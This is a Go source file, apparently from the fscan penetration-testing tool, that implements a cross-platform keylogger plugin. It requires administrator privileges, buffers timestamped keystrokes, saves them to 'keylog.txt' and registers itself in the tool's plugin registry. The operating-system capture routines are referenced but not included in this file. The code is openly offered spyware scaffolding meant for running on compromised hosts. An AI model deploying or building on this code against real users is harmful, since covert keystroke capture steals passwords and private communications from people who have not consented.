fscan/plugins/local/keylogger/plugin.go
ZacharyZcR 4a3f281b6b refactor: 统一Plugins目录大小写为小写
- 将所有Plugins路径重命名为plugins
- 修复Git索引与实际文件系统大小写不一致问题
- 确保跨平台兼容性和路径一致性
2025-08-12 13:08:06 +08:00

289 lines
8.1 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package keylogger
import (
"context"
"fmt"
"os"
"runtime"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// KeyloggerPlugin 键盘记录插件 - 使用简化架构
type KeyloggerPlugin struct {
*local.BaseLocalPlugin
outputFile string
isRunning bool
stopChan chan struct{}
keyBuffer []string
bufferMutex sync.RWMutex
}
// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本
func NewKeyloggerPlugin() *KeyloggerPlugin {
// 从全局参数获取配置
outputFile := common.KeyloggerOutputFile
if outputFile == "" {
outputFile = "keylog.txt" // 默认输出文件
}
metadata := &base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"local", "keylogger", "monitoring", "cross-platform"},
Protocols: []string{"local"},
}
plugin := &KeyloggerPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
outputFile: outputFile,
stopChan: make(chan struct{}),
keyBuffer: make([]string, 0),
}
// 支持所有主要平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 需要管理员权限访问键盘输入
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *KeyloggerPlugin) Initialize() error {
common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS))
// 检查输出文件路径权限
if err := p.checkOutputFilePermissions(); err != nil {
return fmt.Errorf("输出文件权限检查失败: %v", err)
}
// 检查平台特定的权限和依赖
if err := p.checkPlatformRequirements(); err != nil {
return fmt.Errorf("平台要求检查失败: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行键盘记录 - 简化版本
func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始键盘记录...")
// 启动键盘记录
err := p.startKeylogging(ctx)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "Keylogger",
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS),
Extra: map[string]interface{}{
"output_file": p.outputFile,
"platform": runtime.GOOS,
"keys_captured": len(p.keyBuffer),
},
}
return result, nil
}
// startKeylogging 启动键盘记录
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
p.isRunning = true
defer func() {
p.isRunning = false
}()
common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile))
// 根据平台启动相应的键盘记录
var err error
switch runtime.GOOS {
case "windows":
err = p.startWindowsKeylogging(ctx)
case "linux":
err = p.startLinuxKeylogging(ctx)
case "darwin":
err = p.startDarwinKeylogging(ctx)
default:
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
if err != nil {
return fmt.Errorf("键盘记录失败: %v", err)
}
// Windows平台已经实时写入文件其他平台保存到文件
if runtime.GOOS != "windows" {
if err := p.saveKeysToFile(); err != nil {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
}
} else {
common.LogInfo("Windows平台已实时写入文件无需再次保存")
}
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
return nil
}
// checkOutputFilePermissions 检查输出文件权限
func (p *KeyloggerPlugin) checkOutputFilePermissions() error {
// 尝试创建或打开输出文件
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
file.Close()
return nil
}
// checkPlatformRequirements 检查平台特定要求
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
switch runtime.GOOS {
case "windows":
return p.checkWindowsRequirements()
case "linux":
return p.checkLinuxRequirements()
case "darwin":
return p.checkDarwinRequirements()
default:
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
}
}
// addKeyToBuffer 添加按键到缓冲区
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
p.bufferMutex.Lock()
defer p.bufferMutex.Unlock()
timestamp := time.Now().Format("2006-01-02 15:04:05")
entry := fmt.Sprintf("[%s] %s", timestamp, key)
p.keyBuffer = append(p.keyBuffer, entry)
}
// saveKeysToFile 保存键盘记录到文件
func (p *KeyloggerPlugin) saveKeysToFile() error {
p.bufferMutex.RLock()
defer p.bufferMutex.RUnlock()
if len(p.keyBuffer) == 0 {
common.LogInfo("没有捕获到键盘输入")
return nil
}
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法打开输出文件: %v", err)
}
defer file.Close()
// 写入头部信息
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
header += fmt.Sprintf("========================\n\n")
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("写入头部信息失败: %v", err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("写入键盘记录失败: %v", err)
}
}
return nil
}
// GetLocalData 获取键盘记录本地数据
func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "keylogger"
data["platform"] = runtime.GOOS
data["output_file"] = p.outputFile
data["keys_captured"] = len(p.keyBuffer)
data["is_running"] = p.isRunning
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile),
Data: data,
Extra: map[string]interface{}{
"output_file": p.outputFile,
"keys_captured": len(p.keyBuffer),
"platform": runtime.GOOS,
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *KeyloggerPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("跨平台键盘记录插件\n")
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
info.WriteString("记录模式: 持续记录直到程序结束\n")
info.WriteString("支持平台: Windows, Linux, macOS\n")
info.WriteString("功能: 捕获和记录键盘输入事件\n")
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
return info.String()
}
// RegisterKeyloggerPlugin 注册键盘记录插件
func RegisterKeyloggerPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "keylogger",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台键盘记录插件支持Windows、Linux和macOS系统的键盘输入捕获",
Category: "local",
Tags: []string{"keylogger", "local", "monitoring", "cross-platform"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewKeyloggerPlugin()
},
)
base.GlobalPluginRegistry.Register("keylogger", factory)
}
// init 插件注册函数
func init() {
RegisterKeyloggerPlugin()
}